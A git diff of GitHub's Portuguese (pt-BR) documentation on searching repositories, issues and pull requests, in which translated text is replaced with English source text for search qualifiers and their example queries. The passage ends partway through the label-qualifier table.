[**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics. +| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics. {% ifversion fpt or ghes or ghec %} -## Pesquisar por licença +## Search by license -Você pode pesquisar repositórios pelo tipo de licença nos repositórios. É preciso usar uma palavra-chave de licença para filtrar repositórios por uma determinada licença ou família de licenças. Para obter mais informações, consulte "[Licenciar um repositório](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)". +You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)." -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) identifica os repositórios que são licenciados com a Licença Apache 2.0. | +| Qualifier | Example +| ------------- | ------------- +| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0. {% endif %} -## Pesquisar por visibilidade do repositório +## Search by repository visibility -Você pode filtrar sua pesquisa com base na visibilidade dos repositórios. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test". | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) corresponde a repositórios privados que você pode acessar e que contêm a palavra "pages". +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} +| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." {% ifversion fpt or ghec %} -## Pesquisar com base no fato de o repositório ser um espelho +## Search based on whether a repository is a mirror -Você pode pesquisar repositórios com base no fato de os repositórios serem espelhos e hospedados em outro lugar. Para obter mais informações, consulte "[Encontrar maneiras de contribuir para o código aberto em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." +You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." -| Qualifier | Exemplo | -| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) identifica os repositórios que são espelhos e contêm a palavra "GNOME". | -| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) corresponde aos repositórios que não são espelhos e contêm a palavra "GNOME". | +| Qualifier | Example +| ------------- | ------------- +| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME." +| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME." {% endif %} -## Pesquisar com base no fato de o repositório estar arquivado +## Search based on whether a repository is archived -Você pode pesquisar repositórios com base no fato de os repositórios estarem ou não arquivados. Para obter mais informações, consulte "[Arquivando repositórios](/repositories/archiving-a-github-repository/archiving-repositories)". +You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." -| Qualifier | Exemplo | -| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) identifica os repositórios que estão arquivados e contêm a palavra "GNOME". | -| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) corresponde aos repositórios que não estão arquivados e contêm a palavra "GNOME". | +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME." +| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME." {% ifversion fpt or ghec %} -## Pesquisar com base no número de problemas com as etiquetas `good first issue` (um bom primeiro problema) ou `help wanted` (procura-se ajuda) +## Search based on number of issues with `good first issue` or `help wanted` labels -Você pode pesquisar repositórios que têm um número mínimo de problemas com as etiquetas `help-wanted` (procura-se ajuda) ou `good-first-issue` (um bom primeiro problema) com os qualificadores `help-wanted-issues:>n` e `good-first-issues:>n`. Para obter mais informações, consulte "[Incentivar contribuições úteis para o seu projeto com etiquetas](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)". +You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)." -| Qualifier | Exemplo | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) identifica os repositórios com mais de dois problemas com a etiqueta `good-first-issue` e que contêm a palavra "javascript". | -| `help-wanted-issues:>n` | [**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) identifica os repositórios com mais de quatro problemas com a etiqueta `help-wanted` e que contêm a palavra "React". | +| Qualifier | Example +| ------------- | ------------- +| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript." +| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React." -## Pesquisar com base na capacidade de patrocinador +## Search based on ability to sponsor -Você pode pesquisar repositórios cujos proprietários podem ser patrocinados em {% data variables.product.prodname_sponsors %} com o qualificador `é:sponsorable`. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." +You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." -Você pode pesquisar repositórios que têm um arquivo de financiamento que usa o qualificador `has:funding-file`. Para obter mais informações, consulte[Sobre os arquivos de FINANCIAMENTO](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)". +You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)." -| Qualifier | Exemplo | -| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `is:sponsorable` | [**é:patrocinável**](https://github.com/search?q=is%3Asponsorable&type=Repositories) corresponde aos repositórios cujos proprietários têm um perfil de {% data variables.product.prodname_sponsors %}. | -| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) corresponde aos repositórios que têm um arquivo FUNDING.yml. | +| Qualifier | Example +| ------------- | ------------- +| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. +| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. {% endif %} -## Leia mais +## Further reading -- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" -- "[Pesquisar em bifurcações](/search-github/searching-on-github/searching-in-forks)" +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)" diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md index 4290182f8c..53bb4c70c6 100644 --- a/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ b/translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -1,6 +1,6 @@ --- -title: Pesquisar problemas e pull requests -intro: 'Você pode pesquisar problemas e pull requests no {% data variables.product.product_name %} e limitar os resultados usando qualquer combinação destes qualificadores de pesquisa.' +title: Searching issues and pull requests +intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.' redirect_from: - /articles/searching-issues/ - /articles/searching-issues-and-pull-requests @@ -13,332 +13,338 @@ versions: ghec: '*' topics: - GitHub search -shortTitle: Pesquisar problemas & PRs +shortTitle: Search issues & PRs --- - -Você pode pesquisar problemas e pull requests globalmente no {% data variables.product.product_name %} ou pesquisar em uma organização específica. Para obter mais informações, consulte "[Sobre pesquisar no {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)". +You can search for issues and pull requests globally across all of {% data variables.product.product_name %}, or search for issues and pull requests within a particular organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." {% tip %} -**Dicas:**{% ifversion ghes or ghae %} - - Este artigo tem exemplos de pesquisa no site {% data variables.product.prodname_dotcom %}.com, mas você pode usar os mesmos filtros de pesquisa na {% data variables.product.product_location %}.{% endif %} - - Para obter uma lista de sintaxes de pesquisa que podem ser adicionadas a qualquer qualificador de pesquisa para melhorar ainda mais os resultados, consulte "[Entender a sintaxe de pesquisa](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)". - - Use aspas em termos de pesquisa com várias palavras. Por exemplo, se quiser pesquisar problemas com a etiqueta "In progress," pesquise `label:"in progress"`. A pesquisa não faz distinção entre maiúsculas e minúsculas. +**Tips:**{% ifversion ghes or ghae %} + - This article contains example searches on the {% data variables.product.prodname_dotcom %}.com website, but you can use the same search filters on {% data variables.product.product_location %}.{% endif %} + - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)". + - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive. - {% data reusables.search.search_issues_and_pull_requests_shortcut %} {% endtip %} -## Pesquisar somente problemas e pull requests +## Search only issues or pull requests -Por padrão, a pesquisa do {% data variables.product.product_name %} retorna problemas e pull requests. No entanto, você pode restringir os resultados da pesquisa a problemas ou pull requests usando os qualificadores `type` ou `is`. +By default, {% data variables.product.product_name %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier. -| Qualifier | Exemplo | -| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) identifica as pull requests com a palavra "cat". | -| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) identifica os problemas que contêm a palavra "github" e um comentário de @defunkt. | -| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) identifica as pull requests com a palavra "event". | -| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) identifica os problemas fechados com a etiqueta "bug". | +| Qualifier | Example +| ------------- | ------------- +| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat." +| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt. +| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event." +| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug." -## Pesquisar por título, texto ou comentários +## Search by the title, body, or comments -Com o qualificador `in`, você pode restringir a pesquisa ao título, texto, comentário ou qualquer combinação desses itens. Quando você omite esse qualificador, o título, o texto e os comentários são pesquisados. +With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched. -| Qualifier | Exemplo | -| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) identifica os problemas com a palavra "warning" no título. | -| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) identifica os problemas com a palavra "error" no título ou no texto. | -| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) identifica os problemas que mencionam "shipit" nos comentários. | +| Qualifier | Example +| ------------- | ------------- +| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title. +| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body. +| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments. -## Pesquisar nos repositórios de um usuário ou uma organização +## Search within a user's or organization's repositories -Para pesquisar problemas e pull requests em todos os repositórios de um usuário ou organização específicos, você pode usar os qualificadores `user` ou `org`. Para pesquisar problemas e pull requests em um repositório específico, você pode usar o qualificador `repo`. +To search issues and pull requests in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier. {% data reusables.pull_requests.large-search-workaround %} -| Qualifier | Exemplo | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) identifica os problemas com a palavra "ubuntu" nos repositórios de @defunkt. | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) identifica os problemas nos repositórios da organização GitHub. | -| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway criado:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) corresponde a problemas do projeto shumway de @mozilla que foram criados antes de março de 2012. | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt. +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization. +| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012. -## Pesquisar por estado aberto ou fechado +## Search by open or closed state -Você pode filtrar somente problemas e pull requests abertos ou fechados usando os qualificadores `state` ou `is`. +You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier. -| Qualifier | Exemplo | -| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) identifica os problemas abertos que mencionam @vmg com a palavra "libraries". | -| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) identifica os problemas fechados com a palavra "design" no texto. | -| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) identifica os problemas abertos com a palavra "performance". | -| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) identifica os problemas e as pull requests fechados com a palavra "android". | +| Qualifier | Example +| ------------- | ------------- +| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries." +| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body. +| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance." +| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android." -## Filtrar por visibilidade do repositório +## Filter by repository visibility -É possível filtrar pela visibilidade do repositório que contém os problemas e pull requests usando o qualificador `is`. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion fpt or ghes or ghae or ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} +| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. -## Pesquisar por autor +## Search by author -O qualificador `author` encontra problemas e pull requests criados por determinado usuário ou conta de integração. +The `author` qualifier finds issues and pull requests created by a certain user or integration account. -| Qualifier | Exemplo | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) corresponde os problemas e os pull requests com a palavra "cool" que foram criados por @gjtorikian. | -| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) corresponde problemas escritos por @mdo que contêm a palavra "bootstrap" no texto. | -| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) corresponde a problemas criados pela conta de integração denominada "robot". | +| Qualifier | Example +| ------------- | ------------- +| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian. +| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body. +| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot." -## Pesquisar por responsável +## Search by assignee -O qualificador `assignee` encontra problemas e pull requests que foram atribuídos a um determinado usuário. Não é possível pesquisar problemas e pull requests que têm _qualquer_ responsável, mas é possível pesquisar [problemas e pull requests que não tem nenhum responsável](#search-by-missing-metadata). +The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You cannot search for issues and pull requests that have _any_ assignee, however, you can search for [issues and pull requests that have no assignee](#search-by-missing-metadata). -| Qualifier | Exemplo | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) corresponde problemas e pull requests no libgit2 de libgit2 que foram atribuídos a @vmg. | +| Qualifier | Example +| ------------- | ------------- +| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg. -## Pesquisar por menção +## Search by mention -O qualificador `mentions` encontra problemas que mencionam um usuário específico. Para obter mais informações, consulte "[Mencionar pessoas e equipes](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)". +The `mentions` qualifier finds issues that mention a certain user. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)." -| Qualifier | Exemplo | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| mentions:USERNAME | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) corresponde problemas com a palavra "resque" que mencionam @defunkt. | +| Qualifier | Example +| ------------- | ------------- +| mentions:USERNAME | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt. -## Pesquisar por menção da equipe +## Search by team mention -Para organizações e equipes das quais você faz parte, você pode usar o qualificador `team` para encontrar problemas ou pull requests que fazem @menção a uma equipe específica na organização. Substitua os nomes de exemplo pelos nome da organização e da equipe para fazer uma pesquisa. +For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search. -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------- | -| team:ORGNAME/TEAMNAME | **team:jekyll/owners** corresponde problemas em que a equipe `@jekyll/owners` é mencionada. | -| | **team:myorg/ops is:open is:pr** corresponde pull requests abertos em que a equipe `@myorg/ops` é mencionada. | +| Qualifier | Example +| ------------- | ------------- +| team:ORGNAME/TEAMNAME | **team:jekyll/owners** matches issues where the `@jekyll/owners` team is mentioned. +| | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned. -## Pesquisar por autor do comentário +## Search by commenter -O qualificador `commenter` encontra problemas que contêm um comentário de um usuário específico. +The `commenter` qualifier finds issues that contain a comment from a certain user. -| Qualifier | Exemplo | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) corresponde problemas nos repositórios do GitHub que contêm a palavra "github" e têm um comentário de @defunkt. | +| Qualifier | Example +| ------------- | ------------- +| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt. -## Pesquisar por um usuário envolvido em um problema ou uma pull request +## Search by a user that's involved in an issue or pull request -Você pode usar o qualificador `involves` para encontrar problemas que envolvem de alguma forma um usuário específico. O qualificador `involves` é uma expressão lógica OR entre os qualificadores `author`, `assignee`, `mentions` e `commenter` para um único usuário. Em outras palavras, esse qualificador encontra problemas e pull requests que foram criados por um usuário, atribuídos a ele, que o mencionam ou que foram comentados por ele. +You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user. -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** corresponde problemas que envolvem @defunkt ou @jlord. | -| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) corresponde problemas que envolvem @mdo e não contêm a palavra "bootstrap" no texto. | +| Qualifier | Example +| ------------- | ------------- +| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in. +| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body. {% ifversion fpt or ghes or ghae or ghec %} -## Procurar problema e pull requests vinculados -Você pode restringir seus resultados para apenas incluir problemas vinculados a um pull request com uma referência ou pull requests que estão vinculados a um problema que o pull request pode fechar. +## Search for linked issues and pull requests +You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close. -| Qualifier | Exemplo | -| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) corresponde a problemas abertos no re repositório `desktop/desktop` vinculados a um pull request por uma referência fechada. | -| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) corresponde a pull requests fechados no repositório `desktop/desktop` vinculados a um problema que o pull request pode ter fechado. | -| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) corresponde a problemas abertos no repositório `desktop/desktop` que não estão vinculados a um pull request por uma referência fechada. | -| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) corresponde a pull requests abertos no repositório `desktop/desktop` que não estão vinculados a um problema que o pull request pode fechar. -{% endif %} +| Qualifier | Example | +| ------------- | ------------- | +| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. | +| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. | +| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. | +| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. |{% endif %} -## Pesquisar por etiqueta +## Search by label -Você pode limitar os resultados por etiquetas usando o qualificador `label`. Alguns problemas podem ter várias etiquetas, e você pode relacionar um qualificador separado para cada problema. +You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue. -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) identifica os problemas com a etiqueta "help wanted" nos repositórios de Ruby. | -| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) identifica problemas com a palavra "broken" no texto e que não têm a etiqueta "bug", mas *têm* a etiqueta 